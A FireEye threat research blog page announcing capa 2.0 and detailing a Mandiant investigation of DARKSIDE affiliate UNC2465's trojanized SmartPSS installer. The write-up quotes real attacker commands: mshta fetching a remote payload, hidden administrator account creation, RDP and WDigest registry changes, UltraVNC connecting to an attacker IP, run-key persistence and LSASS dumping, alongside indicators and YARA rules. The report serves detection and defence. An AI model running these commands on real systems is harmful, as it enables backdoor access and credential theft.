FireEye Threat Research

Threat Research Blog Technical review and analysis of malware and TTPs from FireEye engagements.

  • Purgalicious VBA: Macro Obfuscation With VBA Purging
    by Andrew Oliveau on July 24, 2021 at 12:04 pm
  • capa 2.0: Better, Faster, Stronger
    by William Ballenthin on July 19, 2021 at 6:00 pm

    We are excited to announce version 2.0 of our open-source tool called capa. capa automatically identifies capabilities in programs using an extensible rule set. The tool supports both malware triage and deep dive reverse engineering. If you haven’t heard of capa before, or need a refresher, check out our first blog post. You can download capa 2.0 standalone binaries from the project’s release page and checkout the source code on GitHub. capa 2.0 enables anyone to contribute rules more easily, which makes the existing ecosystem even more vibrant. This blog post details the following major improvements included in capa 2.0: New features and enhancements for the capa explorer IDA Pro plugin, allowing you to interactively explore capabilities and write new rules without switching windows More concise and relevant results via identification of library functions using FLIRT and the release of accompanying open-source FLIRT signatures Hundreds of new rules describing additional malware capabilities, bringing the collection up to 579 total rules, with more than half associated with ATT&CK techniques Migration to Python 3, to make it easier to integrate capa with other projects capa explorer and Rule Generator capa explorer is an IDAPython plugin that shows capa results directly within IDA Pro. The version 2.0 release includes many additions and improvements to the plugin, but we’d like to highlight the most exciting addition: capa explorer now helps you write new capa rules directly in IDA Pro! Since we spend most of our time in reverse engineering tools such as IDA Pro analyzing malware, we decided to add a capa rule generator. Figure 1 shows the rule generator interface. Figure 1: capa explorer rule generator interface Once you’ve installed capa explorer using the Getting Started guide, open the plugin by navigating to Edit > Plugins > FLARE capa explorer. You can start using the rule generator by selecting the Rule Generator tab at the top of the capa explorer pane. From here, navigate your IDA Pro Disassembly view to the function containing a technique you’d like to capture and click the Analyze button. The rule generator will parse, format, and display all the capa features that it finds in your function. You can write your rule using the rule generator’s three main panes: Features, Preview, and Editor. Your first step is to add features from the Features pane. The Features pane is a tree view containing all the capa features extracted from your function. You can filter for specific features using the search bar at the top of the pane. Then, you can add features by double-clicking them. Figure 2 shows this in action. Figure 2: capa explorer feature selection As you add features from the Features pane, the rule generator automatically formats and adds them to the Preview and Editor panes. The Preview and Editor panes help you finesse the features that you’ve added and allow you to modify other information like the rule’s metadata. The Editor pane is an interactive tree view that displays the statement and feature hierarchy that forms your rule. You can reorder nodes using drag-and-drop and edit nodes via right-click context menus. To help humans understand the rule logic, you can add descriptions and comments to features by typing in the Description and Comment columns. The rule generator automatically formats any changes that you make in the Editor pane and adds them to the Preview pane. Figure 3 shows how to manipulate a rule using the Editor pane. Figure 3: capa explorer editor pane The Preview pane is an editable textbox containing the final rule text. You can edit any of the text displayed. The rule generator automatically formats any changes that you make in the Preview pane and adds them to the Editor pane. Figure 4 shows how to edit a rule directly in the Preview pane. Figure 4: capa explorer preview pane As you make edits the rule generator lints your rule and notifies you of any errors using messages displayed underneath the Preview pane. Once you’ve finished writing your rule you can save it to your capa rules directory by clicking the Save button. The rule generator saves exactly what is displayed in the Preview pane. It’s that simple! We’ve found that using the capa explorer rule generator significantly reduces the amount of time spent writing new capa rules. This tool not only automates most of the rule writing process but also eliminates the need to context switch between IDA Pro and your favorite text editor allowing you to codify your malware knowledge while it’s fresh in your mind. To learn more about capa explorer and the rule generator check out the README. Library Function Identification Using FLIRT As we wrote hundreds of capa rules and inspected thousands of capa results, we recognized that the tool sometimes shows distracting results due to embedded library code. We believe that capa needs to focus its attention on the programmer’s logic and ignore supporting library code. For example, highly optimized C/C++ runtime routines and open-source library code enable a programmer to quickly build a product but are not the product itself. Therefore, capa results should reflect the programmer’s intent for the program rather than a categorization of every byte in the program. Compare the capa v1.6 results in Figure 5 versus capa v2.0 results in Figure 6. capa v2.0 identifies and skips almost 200 library functions and produces more relevant results. Figure 5: capa v1.6 results without library code recognition Figure 6: capa v2.0 results ignoring library code functions So, we searched for a way to differentiate a programmer’s code from library code. After experimenting with a few strategies, we landed upon the Fast Library Identification and Recognition Technology (FLIRT) developed by Hex-Rays. Notably, this technique has remained stable and effective since 1996, is fast, requires very limited code analysis, and enjoys a wide community in the IDA Pro userbase. We figured out how IDA Pro matches FLIRT signatures and re-implemented a matching engine in Rust with Python bindings. Then, we built an open-source signature set that covers many of the library routines encountered in modern malware. Finally, we updated capa to use the new signatures to guide its analysis. capa uses these signatures to differentiate library code from a programmer’s code. While capa can extract and match against the names of embedded library functions, it will skip finding capabilities and behaviors within the library code. This way, capa results better reflect the logic written by a programmer. Furthermore, library function identification drastically improves capa runtime performance: since capa skips processing of library functions, it can avoid the costly rule matching steps across a substantial percentage of real-world functions. Across our testbed of 206 samples, 28% of the 186,000 total functions are recognized as library code by our function signatures. As our implementation can recognize around 100,000 functions/sec, library function identification overhead is negligible and capa is approximately 25% faster than in 2020! Finally, we introduced a new feature class that rule authors can use to match recognized library functions: function-name. This feature matches at the file-level scope. We’ve already started using this new capability to recognize specific implementations of cryptography routines, such as AES provided by Crypto++, as shown in the example rule in Figure 7. Figure 7: Example rule using function-name to recognize AES via Crypto++ As we developed rules for interesting behaviors, we learned a lot about where uncommon techniques are used legitimately. For example, as malware analysts, we most commonly see the cpuid instruction alongside anti-analysis checks, such as in VM detection routines. Therefore, we naively crafted rules to flag this instruction. But, when we tested it against our testbed, the rule matched most modern programs because this instruction is often legitimately used in high-optimized routines, such as memcpy, to opt-in to newer CPU features. In hindsight, this is obvious, but at the time it was a little surprising to see cpuid in around 15% of all executables. With the new FLIRT support, capa recognizes the optimized memcpy routine embedded by Visual Studio and won’t flag the embedded cpuid instruction, as its not part of the programmer’s code. When a user upgrades to capa 2.0, they’ll see that the tool runs faster and provides more precise results. Signature Generation To provide the benefits of python-flirt to all users (especially those without an IDA Pro license) we have spent significant time to create a comprehensive FLIRT signature set for the common malware analysis use-case. The signatures come included with capa and are also available at our GitHub under the Apache 2.0 license. We believe that other projects can benefit greatly from this. For example, we expect the performance of FLOSS to improve once we’ve incorporated library function identification. Moreover, you can use our signatures with IDA Pro to recognize more library code. Our initial signatures include: From Microsoft Visual Studio (VS), for all major versions from VS6 to VS2019:C and C++ run-time libraries Active Template Library (ATL) and Microsoft Foundation Class (MFC) libraries The following open-source projects as compiled with VS2015, VS2017, and VS2019:CryptoPP curl Microsoft Detours Mbed TLS (previously PolarSSL) OpenSSL zlib Identifying and collecting the relevant library and object files took a lot of work. For the older VS versions this was done manually. For newer VS versions and the respective open-source projects we were able to automate the process using vcpgk and Docker. We then used the IDA Pro FLAIR utilities to convert gigabytes of executable code into pattern files and then into signatures. This process required extensive research and much trial and error. For instance, we spent two weeks testing and exploring the various FLAIR options to understand the best combination. We appreciate Hex-Rays for providing high-quality signatures for IDA Pro and thank them for sharing their research and tools with the community. To learn more about the pattern and signature file generation check out the siglib repository. The FLAIR utilities are available in the protected download area on Hex-Rays’ website. Rule Updates Since the initial release, the community has more than doubled the total capa rule count from 260 to over 570 capability detection rules! This means that capa recognizes many more techniques seen in real-world malware, certainly saving analysts time as they reverse engineer programs. And to reiterate, we’ve surfed a wave of support as almost 30 colleagues from a dozen organizations have volunteered their experience to develop these rules. Thank you! Figure 8 provides a high-level overview of capabilities capa currently captures, including: Host Interaction describes program functionality to interact with the file system, processes, and the registry Anti-Analysis describes packers, Anti-VM, Anti-Debugging, and other related techniques Collection describes functionality used to steal data such as credentials or credit card information Data Manipulation describes capabilities to encrypt, decrypt, and hash data Communication describes data transfer techniques such as HTTP, DNS, and TCP Figure 8: Overview of capa rule categories More than half of capa’s rules are associated with a MITRE ATT&CK technique including all techniques introduced in ATT&CK version 9 that lie within capa’s scope. Moreover, almost half of the capa rules are currently associated with a Malware Behavior Catalog (MBC) identifier. For more than 70% of capa rules we have collected associated real-world binaries. Each binary implements interesting capabilities and exhibits noteworthy features. You can view the entire sample collection at our capa test files GitHub page. We rely heavily on these samples for developing and testing code enhancements and rule updates. Python 3 Support Finally, we’ve spent nearly three months migrating capa from Python 2.7 to Python 3. This involved working closely with vivisect and we would like to thank the team for their support. After extensive testing and a couple of releases supporting two Python versions, we’re excited that capa 2.0 and future versions will be Python 3 only. Conclusion Now that you’ve seen all the recent improvements to capa, we hope you’ll upgrade to the newest capa version right away! Thanks to library function identification capa will report faster and more relevant results. Hundreds of new rules capture the most interesting malware functionality while the improved capa explorer plugin helps you to focus your analysis and codify your malware knowledge while it’s fresh. Standalone binaries for Windows, Mac, and Linux are available on the capa Releases page. To install capa from PyPi use the command pip install flare-capa. The source code is available at our capa GitHub page. The project page on GitHub contains detailed documentation, including thorough installation instructions and a walkthrough of capa explorer. Please use GitHub to ask questions, discuss ideas, and submit issues. We highly encourage you to contribute to capa’s rule corpus. The improved IDA Pro plugin makes it easier than ever before. If you have any issues or ideas related to rules, please let us know on the GitHub repository. Remember, when you share a rule with the community, you scale your impact across hundreds of reverse engineers in dozens of organizations.

  • Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise
    by Tyler McLellan on June 16, 2021 at 4:00 pm

    Mandiant observed DARKSIDE affiliate UNC2465 accessing at least one victim through a Trojanized software installer downloaded from a legitimate website. While this victim organization detected the intrusion, engaged Mandiant for incident response, and avoided ransomware, others may be at risk. As reported in the Mandiant post, “Shining a Light on DARKSIDE Ransomware Operations,” Mandiant Consulting has investigated intrusions involving several DARKSIDE affiliates. UNC2465 is one of those DARKSIDE affiliates that Mandiant believes has been active since at least March 2020. The intrusion that is detailed in this post began on May 18, 2021, which occurred days after the publicly reported shutdown of the overall DARKSIDE program (Mandiant Advantage background). While no ransomware was observed here, Mandiant believes that affiliate groups that have conducted DARKSIDE intrusions may use multiple ransomware affiliate programs and can switch between them at will. Sometime in May 2021 or earlier, UNC2465 likely Trojanized two software install packages on a CCTV security camera provider website. Mandiant determined the installers were malicious in early June and notified the CCTV company of a potential website compromise, which may have allowed UNC2465 to replace legitimate downloads with the Trojanized ones. While Mandiant does not suspect many victims were compromised, this technique is being reported for broader awareness. Software supply chain attacks can vary greatly in sophistication, from the recent FireEye-discovered SolarWinds attacks to attacks such as this targeting smaller providers. A software supply chain attack allows a single intrusion to obtain the benefit of access to all of the organizations that run that victim company’s software; in this case, an installer, rather than the software itself, was modified by UNC2465. DARKSIDE RaaS In mid-May 2021, Mandiant observed multiple threat actors cite an announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service. This announcement stated that they lost access to their infrastructure, including their blog, payment, and content distribution network (CDN) servers, and would be closing their service. The post cited law enforcement pressure and pressure from the United States for this decision.  Multiple users on underground forums have since come forward claiming to be unpaid DARKSIDE affiliates, and in some cases privately provided evidence to forum administrators who confirmed that their claims were legitimate. There are some actors who have speculated that the DARKSIDE operator’s decision to close could be an exit scam. While we have not seen evidence suggesting that the operators of the DARKSIDE service have resumed operations, we anticipate that at least some of the former affiliates of the DARKSIDE service will likely identify different ransomware or malware offerings to use within their own operations.  Notably, Mandiant has continued to observe a steady increase in the number of publicly named victims on ransomware shaming sites within the past month. Despite the recent ban of ransomware-related posts within underground forums, threat actors can still leverage private chats and connections to identify ransomware services. As one example, in mid-May 2021, the operator of the SODINOKIBI (aka REvil) RaaS indicated that multiple affiliates from other RaaS platforms that had shut down were switching to their service. Based on the perceived profitability of these operations, it is almost certain that numerous threat actors will continue to conduct widespread ransomware operations for the foreseeable future. Background In June 2021, Mandiant Consulting was engaged to respond to an intrusion. During analysis, Mandiant determined the initial vector was a trojanized security camera PVR installer from a legitimate website. Mandiant attributed the overall intrusion activity to DARKSIDE affiliate UNC2465 due to continued use of infrastructure and tooling since October 2020. On May 18, 2021, a user in the affected organization browsed to the Trojanized link and downloaded the ZIP. Upon installing the software, a chain of downloads and scripts were executed, leading to SMOKEDHAM and later NGROK on the victim’s computer. Additional malware use such as BEACON, and lateral movement also occurred. Mandiant believes the Trojanized software was available from May 18, 2021, through June 8, 2021. Pivoting on the slightly modified, but benign, MSHTA.exe application in VirusTotal, Mandiant identified a second installer package with the MD5 hash, e9ed774517e129a170cdb856bd13e7e8 (SVStation_Win64-B1130.1.0.0.exe), from May 26, 2021, which also connects out the same URL as the Trojanized SmartPSS installer. Supply Chain Intrusion Cycle Figure 1: Intrusion cycle Phase 1: Trojanized Installer Download Mandiant Consulting observed the Trojanized installer downloaded on a Windows workstation after the user visited a legitimate site that the victim organization had used before. The downloaded file was extracted to C:\Users\[username]\Downloads\06212019-General-SMARTPSS-Win32-ChnEng-IS\General_SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023\SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe. Mandiant confirmed the user intended to download, install, and use the SmartPSS software. Figure 2 shows an image of the download page used for SmartPSS software. Figure 2: SmartPSS download page Phase 2: Nullsoft Installer The installer executable is a Nullsoft installer that when executed wrote two files to C:\ProgramData\SMARTPSS-Win32_ChnEng_IS. We were able to extract the malicious installer script and files for analysis using 7-Zip. The relevant section of this installer script is shown below in Figure 3. Figure 3: Nullsoft installer script section The installer script created two files: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General.exe (b540b8a341c20dced4bad4e568b4cbf9) and smartpss.exe (c180f493ce2e609c92f4a66de9f02ed6). The former is a clean installer from the original developer and is launched first, installing the software as the user may expect. The latter is launched with a command line URL executing the content. The smartpss.exe file contained metadata describing itself as MSHTA.exe from Microsoft, a legitimate operating system component, but the MD5 hash was unknown. Disassembly analysis of the program showed it was a small application that loaded the IE COM object and launched the function RunHTMLApplication() against the command line argument provided. This functionality matched the behavior of the legitimate MSHTA.exe despite the hash discrepancy. Further analysis showed that the malware was based on a 2018 version of the binary (original hash: 5ced5d5b469724d9992f5e8117ecefb5) with only six bytes of data appended, as shown in Figure 4. Figure 4: CyberChef diff between MSHTA.exe and smartpss.exe Phase 3: Downloaded VBScript and PowerShell Upon execution, the modified Mshta file was executed with the URL, hxxp://sdoc[.]xyz/ID-508260156241, and passed as an argument on the command line. Domain sdoc[.]xyz was first associated with UNC2465 by RiskIQ in a May 20, 2021, blog post researching the infrastructure that Mandiant previously reported. According to RiskIQ, sdoc[.]xyz shares a registrant with koliz[.]xyz, which was also observed by Mandiant in past UNC2465 intrusions. C:\PROGRAMDATA\SMARTPSS-Win32_ChnEng_IS\smartpss.exe hxxp://sdoc[.]xyz/ID-508260156241 The execution of the modified Mshta file resulted in the creation of a HTM file called loubSi78Vgb9[1].htm that was written to a temporary INetCache directory. Mandiant was not able to acquire this file at the time of writing; however, Mandiant was able to recover partial contents of the file. <html><head>..<script language=’VBScript’>..On Error Resume Next At the time of writing, sdoc[.]xyz appeared to be active, but not returning the VBScript code. It is not clear if sdoc[.]xyz was selecting victims based on IP or other properties or was simply dormant. A PCAP from a sandbox execution on VirusTotal from May 26, 2021, also showed benign content being served. Figure 5: PCAP from e9ed774517e129a170cdb856bd13e7e8 VirusTotal results not returning malicious content Shortly after the download, a PowerShell script block was executed to download SMOKEDHAM, as shown in Figure 6. Figure 6: SMOKEDHAM downloader Within seconds, a file named qnxfhfim.cmdline was written to disk and executed using the Command-Line Compiler. csc.exe /noconfig /fullpaths @’C:\Users\ [username]\AppData\Local\Temp\qnxfhfim\qnxfhfim.cmdline’ Mandiant was not able to recover this file at the time of writing; however, Mandiant was able to recover partial contents of the file. …/t:library /utf8output /R:’System.dll’ /R:’C:\windows\Microso After the execution of qnxfhfim.cmdline, PowerShell initiated the first connection to the fronted domain lumiahelptipsmscdnqa[.]microsoft[.]com used by SMOKEDHAM. Phase 4: SMOKEDHAM Dropper The SMOKEDHAM dropper (f075c2894ac84df4805e8ccf6491a4f4) is written in PowerShell and decrypts and executes in memory the SMOKEDHAM backdoor. The dropper uses the Add-Type cmdlet to define a new .NET class for the backdoor. The Add-Type cmdlet can be used to define a new .NET class using an existing assembly or source code files or specifying source code inline or saved in a variable. In this case, the dropper uses SMOKEDHAM backdoor source code that is stored in a variable. The SMOKEDHAM backdoor source code is embedded as an encrypted string. The dropper uses the ConvertTo-SecureString cmdlet and an embedded key to decrypt the source code prior to executing the Add-Type cmdlet. After defining a new .NET class for the backdoor, the dropper executes the backdoor’s entry point. The dropper configures the backdoor with a C2 server address, RC4 encryption key, and sleep interval. Figure 7 shows the deobfuscated SMOKEDHAM dropper. Figure 7: SMOKEDHAM dropper Phase 5: SMOKEDHAM Backdoor SMOKEDHAM (127bf1d43313736c52172f8dc6513f56) is a .NET-based backdoor that supports commands, including screen capture and keystroke capture. The backdoor may also download and execute additional PowerShell commands from its command and control (C2) server. SMOKEDHAM Network Communications SMOKEDHAM communicates with its C2 server using HTTPS. The backdoor uses domain fronting to obfuscate its true C2 server. The fronted domain is configured by an earlier stage of execution and the actual domain is hard-coded in the backdoor. Mandiant observed the fronted domain lumiahelptipsmscdnqa.microsoft[.]com and hard-coded domain max-ghoster1.azureedge[.]net used for C2 server communication. The communication between SMOKEDHAM and its C2 server consists of JSON data exchanged via HTTP POST requests. The backdoor initiates requests to the C2 server and the C2 server may include commands to execute in the responses. The JSON data exchanged between SMOKEDHAM and its C2 server contains three fields: ID, UUID, and Data. The ID field contains a unique value generated by the backdoor for the target system. The UUID field may contain a unique value used to track command output or be empty. When the C2 server responds with a command to execute, it sets the UUID field to a unique value. SMOKEDHAM then sets the same UUID value in the subsequent HTTP POST request that contains the command output. The Data field may contain RC4-encrypted, Base64-encoded command data or be empty. The backdoor uses the Data field to send command output to its C2 server. The C2 server uses the Data field to send commands to the backdoor to execute. The backdoor uses an RC4 key configured by an earlier stage of execution to encrypt and decrypt the Data field. Mandiant observed the RC4 key UwOdHsFXjdCOIrjTCfnblwEZ used for RC4 encryption and decryption. SMOKEDHAM Commands SMOKEDHAM Base64-decodes, and RC4-decrypts command data returned in the Data field. The backdoor checks if the plaintext command data begins with one of the following keywords, shown in Table 1. Keyword Action delay Update its sleep interval screenshot Upload a screen capture to its C2 server via a subsequent HTTP POST request exit Terminate Table 1: Plaintext command data keywords If the plaintext command data does not begin with any of the keywords listed in Table 1, then SMOKEDHAM assumes the data contains a PowerShell command and attempts to execute it. The backdoor uploads output generated by the PowerShell command to its C2 server via a subsequent HTTP POST request. In addition to supporting the commands in Table 1, SMOKEDHAM continuously captures keystrokes. The backdoor writes captured keystrokes to memory and uploads them to its C2 server every five seconds via HTTP POST requests. SMOKEDHAM In Action SMOKEDHAM was observed executing commands on the target system using PowerShell.  The following commands were used to collect information about the system and logged in users. net.exe user net.exe users whoami.exe whoami.exe /priv  systeminfo.exe The following commands were used to create and add the DefaultUser account to the local Administrators group, and subsequently hide the account from the Windows logon screen. net.exe user DefaultUser REDACTED /ADD  net.exe localgroup Administrators DefaultUser /ADD  reg.exe ADD ‘HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList’ /v DefaultUser /t REG_DWORD /d 0 /f The following commands facilitated lateral movement by modifying Terminal Server registry key values to enable multiple Remote Desktop connection sessions, and modifying the Local Security Authority (LSA) registry key value to require a password for authentication. reg.exe ADD ‘HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server’ /v fDenyTSConnections /t REG_DWORD /d 0 /f reg.exe ADD ‘HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server’ /v fSingleSessionPerUser /t REG_DWORD /d 0 /f reg.exe ADD HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LimitBlankPasswordUse /t REG_DWORD /d 1 /f Additionally, SMOKEDHAM modified the WDigest registry key value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential to enable credential caching. Phase 6: Follow-on Activity SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download the UltraVNC application renamed as winvnc.exe, and a configuration file named UltraVNC.ini, shown in Figure 8. These files were saved to the %APPDATA%\Chrome\ directory. The UltraVNC.ini file allowed UltraVNC to connect to port 6300 on the loopback address specified by the parameter AllowLoopback=1. Figure 8: Contents of UltraVNC.ini SMOKEDHAM was observed using UltraVNC to establish a connection to the IP address and port pair 81.91.177[.]54[:]7234 that has been observed in past UNC2465 intrusions. %APPDATA%\Chrome\winvnc.exe’ -autoreconnect ID:15000151 -connect 81.91.177[.]54[:]7234 –run SMOKEDHAM created a persistence mechanism for UltraVNC by adding the application to the ConhostNT value under the current users Run registry key. reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v ConhostNT /d %appdata%\Chrome\winvnc.exe NGROK Configuration SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download an NGROK utility that was renamed conhost.exe, and a script named VirtualHost.vbs that was used to execute NGROK with a configuration file named ngrok.yml. These files were stored in the C:\ProgramData\WindNT\ directory. NGROK is a publicly available utility that can expose local servers behind NATs and firewalls to the public internet over secure tunnels. Figure 9 and Figure 10 show the contents of VirtualHost.vbs and ngrok.yml files, respectively. Figure 9: Contents of VirtualHost.vbs Figure 10: Contents of ngrok.yml The execution of VirtualHost.vbs allowed NGROK to listen and forward traffic on TCP port 6300 through an NGROK tunnel, subsequently allowing NGROK to tunnel UltraVNC traffic out of the environment. SMOKEDHAM created a persistence mechanism for NGROK by adding VirtualHost.vbs to the WindNT value under the current users Run registry key. reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindNT /d C:\ProgramData\WindNT\VirtualHost.vbs Keylogger Deployment This attacker utilized an additional keylogging utility named C:\ProgramData\psh\console.exe. The keylogging utility was configured to capture and record keystrokes to C:\ProgramData\psh\System32Log.txt. Mandiant then observed the attacker use UltraVNC to download two LNK files that reference the keylogging utility. The downloaded files were named desktop.lnk and console.lnk, respectively, and were placed in the following persistence locations: C:\Users\[username]\Start Menu\Programs\Startup\desktop.lnk %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\desktop.lnk %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\console.lnk Cobalt Strike Beacon The attacker used UltraVNC to download an in-memory dropper for Cobalt Strike to C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe. Update.exe was a Go based dropper created using the ScareCrow framework. The attacker executed C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe using Command Prompt. cmd.exe /c ‘C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe’&&exit The execution of ScareCrow framework dropper C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe resulted in the creation of a Cobalt Strike stageless payload to C:\ProgramData\Cisco\update.exe, which then established a connection to a Cobalt Strike Beacon server located at w2doger[.]xyz when executed. Mandiant observed the attacker using UltraVNC to download and store a file named update.lnk in the %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ directory. Mandiant was not able to recover update.lnk at the time of writing, but suspects that this file was created to add persistence to the Cobalt Strike stageless payload. LSASS Dumping and Lateral Movement Mandiant observed this attacker dump the LSASS process using Task Manager to a file named lsass.DMP, and later, zip the dump into two files named lsass.zip and lsass2.zip located in the C:\ProgramData\psh\ directory. From this point, the attacker was observed moving laterally to different systems in the environment using Remote Desktop Protocol (RDP) connections. Conclusion UNC2465 established initial access via a Trojanized installer executed by an unsuspecting user. UNC2465 interactively established an NGROK tunnel and began moving laterally in less than 24 hours. Five days later, UNC2465 returned and deployed additional tools such as a keylogger, Cobalt Strike BEACON, and conducted credential harvesting via dumping LSASS memory. Ransomware groups continue to adapt and pursue opportunistic access to victims. UNC2465’s move from drive-by attacks on website visitors or phishing emails to this software supply chain attack shows a concerning shift that presents new challenges for detection. While many organizations are now focusing more on perimeter defenses and two-factor authentication after recent public examples of password reuse or VPN appliance exploitation, monitoring on endpoints is often overlooked or left to traditional antivirus. A well-rounded security program is essential to mitigate risk from sophisticated groups such as UNC2465 as they continue to adapt to a changing security landscape. Indicators Supply Chain/Trojanized Nullsoft Installer/SmartPSS MD5: 1430291f2db13c3d94181ada91681408 Filename: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe Zip MD5: 54e0a0d398314f330dfab6cd55d95f38 Supply Chain/Trojanized Nullsoft Installer/SVStation MD5: e9ed774517e129a170cdb856bd13e7e8 Filename: SVStation_Win64-B1130.1.0.0.exe Intermediate Stage URL: hxxp://sdoc[.]xyz/ID-508260156241 IP: 185.92.151[.]150 SMOKEDHAM LOADER MD5: f075c2894ac84df4805e8ccf6491a4f4 (Gbdh7yghJgbj3bb.html) MD5: 05d38c7e957092f7d0ebfc7bf1eb5365 SMOKEDHAM MD5: 127bf1d43313736c52172f8dc6513f56 (in-memory from f075c2894ac84df4805e8ccf6491a4f4) Host: max-ghoster1.azureedge[.]net (actual C2) MD5: 9de326bf37270776b78e30d442bda48b (MEtNOcyfkXWe.html) Host: atlant20.azureedge[.]net (actual C2)  MD5: b06319542cab55346776f0358a61b3b3 (in-memory from 05d38c7e957092f7d0ebfc7bf1eb5365) Host: skolibri13.azureedge[.]net (actual C2) NGROK MD5: e3bc4dd84f7a24f24d790cc289e0a10f (legitimate NGROK renamed to conhost.exe) MD5: 84ed6012ec62b0bddcd18058a8ff7ddd (VirtualHost.vbs) UltraVNC IP/Port: 81.91.177[.]54:7234 (using legitimate ULTRAVNC 23b89bf2c2b99fbc1e232b4f86af65f4) BEACON Host: w2doger[.]xyz IP: 185.231.68.102 MD5: a9fa3eba3f644ba352462b904dfbcc1a (shellcode) Detecting the Techniques FireEye detects this activity across our platforms. The following contains specific detection names that provide indicators associated with this activity. Platform Detection Name FireEye Network Security FireEye Email Security FireEye Detection On Demand FireEye Malware Analysis FireEye Malware File Protect   Backdoor.BEACON FE_Loader_Win32_BLUESPINE_1 Trojan.Win32.CobaltStrike Backdoor.MSIL.SMOKEDHAM Malware.Binary.ps1 FEC_Backdoor_CS_SMOKEDHAM_1 Suspicious Process PowerShell Activity FireEye Endpoint Security Real-Time Detection (IOC) WDIGEST CREDENTIAL EXPOSURE (METHODOLOGY) WDIGEST CREDENTIAL EXPOSURE VIA REGISTRY (METHODOLOGY) SUSPICIOUS CONHOST.EXE A (METHODOLOGY)  TASKMGR PROCESS DUMP OF LSASS.EXE A (METHODOLOGY) Malware Protection (AV/MG) Trojan.GenericFCA.Script.533  Trojan.GenericFCA.Agent.7732 Dropped:Trojan.VBS.VGU Trojan.CobaltStrike.FM NGRok Ultra VNC SVN Station Generic.mg.a9fa3eba3f644ba3 Generic.mg.1626373508569884 Modules Process Guard (LSASS memory protection) FireEye Helix VNC METHODOLOGY [Procs] (T1021.005) WINDOWS ANALYTICS [Abnormal RDP Logon] (T1078) WINDOWS ANALYTICS [Recon Commands] (T1204) WINDOWS METHODOLOGY [Cleartext Credentials Enabled – UseLogonCredential] (T1003.001) WINDOWS METHODOLOGY [LSASS Generic Dump Activity] (T1003.001) WINDOWS METHODOLOGY [LSASS Memory Access] (T1003.001) WINDOWS METHODOLOGY [Registry Run Key – reg.exe] (T1547.001) WINDOWS METHODOLOGY [User Created – Net Command] (T1136.001) Yara Detections rule Backdoor_Win_SMOKEDHAM {     meta:         author = “Mandiant”         date_created = “2021-06-10”         md5 = “9de326bf37270776b78e30d442bda48b”     strings:         $C2Method = { 2E 4D 65 74 68 6F 64 20 3D 20 22 50 4F 53 54 22 } //.Method = “POST”         $domainFrontingDomain = /\.[hH]ost\s*=\s*\”[^\”]*”;/         $envCollection1 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 43 4F 4D 50 55 54 45 52 4E 41 4D 45 22 29 } //Environment.GetEnvironmentVariable(“COMPUTERNAME”)         $envCollection2 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 55 53 45 52 44 4F 4D 41 49 4E 22 29 } //Environment.GetEnvironmentVariable(“USERDOMAIN”)         $envCollection3 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 55 53 45 52 4E 41 4D 45 22 29 } //Environment.GetEnvironmentVariable(“USERNAME”)         $functionalityString1 = { 28 22 64 65 6C 61 79 22 29 } //(“delay”)         $functionalityString2 = { 28 22 73 63 72 65 65 6E 73 68 6F 74 22 29 } //(“screenshot”)         $functionalityString3 = { 28 22 65 78 69 74 22 29 } //(“exit”)         $publicStrings1 = “public string UUID”         $publicStrings2 = “public string ID”         $publicStrings3 = “public string Data”         $UserAgentRequest = { 20 3D 20 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 4F 53 56 65 72 73 69 6F 6E 2E 54 6F 53 74 72 69 6E 67 28 29 3B } // = Environment.OSVersion.ToString();    condition:         filesize < 1MB and all of them }   rule Loader_Win_SMOKEDHAM {     meta:         author = “Mandiant”         date_created = “2021-06-10”         md5 = “05d38c7e957092f7d0ebfc7bf1eb5365”     strings:         $listedDLLs1 = “System.Drawing.dll” fullword         $listedDLLs2 = “System.Web.Extensions.dll” fullword         $listedDLLs3 = “System.Windows.Forms.dll” fullword         $CSharpLang = {2d 4c 61 6e 67 75 61 67 65 20 43 53 68 61 72 70} // -Language CSharp         $StringConversion = “convertto-securestring” nocase         $SecureString1 = {5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 53 65 63 75 72 65 53 74 72 69 6e 67 54 6f 42 53 54 52} //[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR         $SecureString2 = {5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 50 74 72 54 6f 53 74 72 69 6e 67 41 75 74 6f} //[System.Runtime.InteropServices.Marshal]::PtrToStringAuto     condition:         filesize < 1MB and (1 of ($listedDLLs*)) and $CSharpLang and $StringConversion and $SecureString1 and $SecureString2 } MITRE 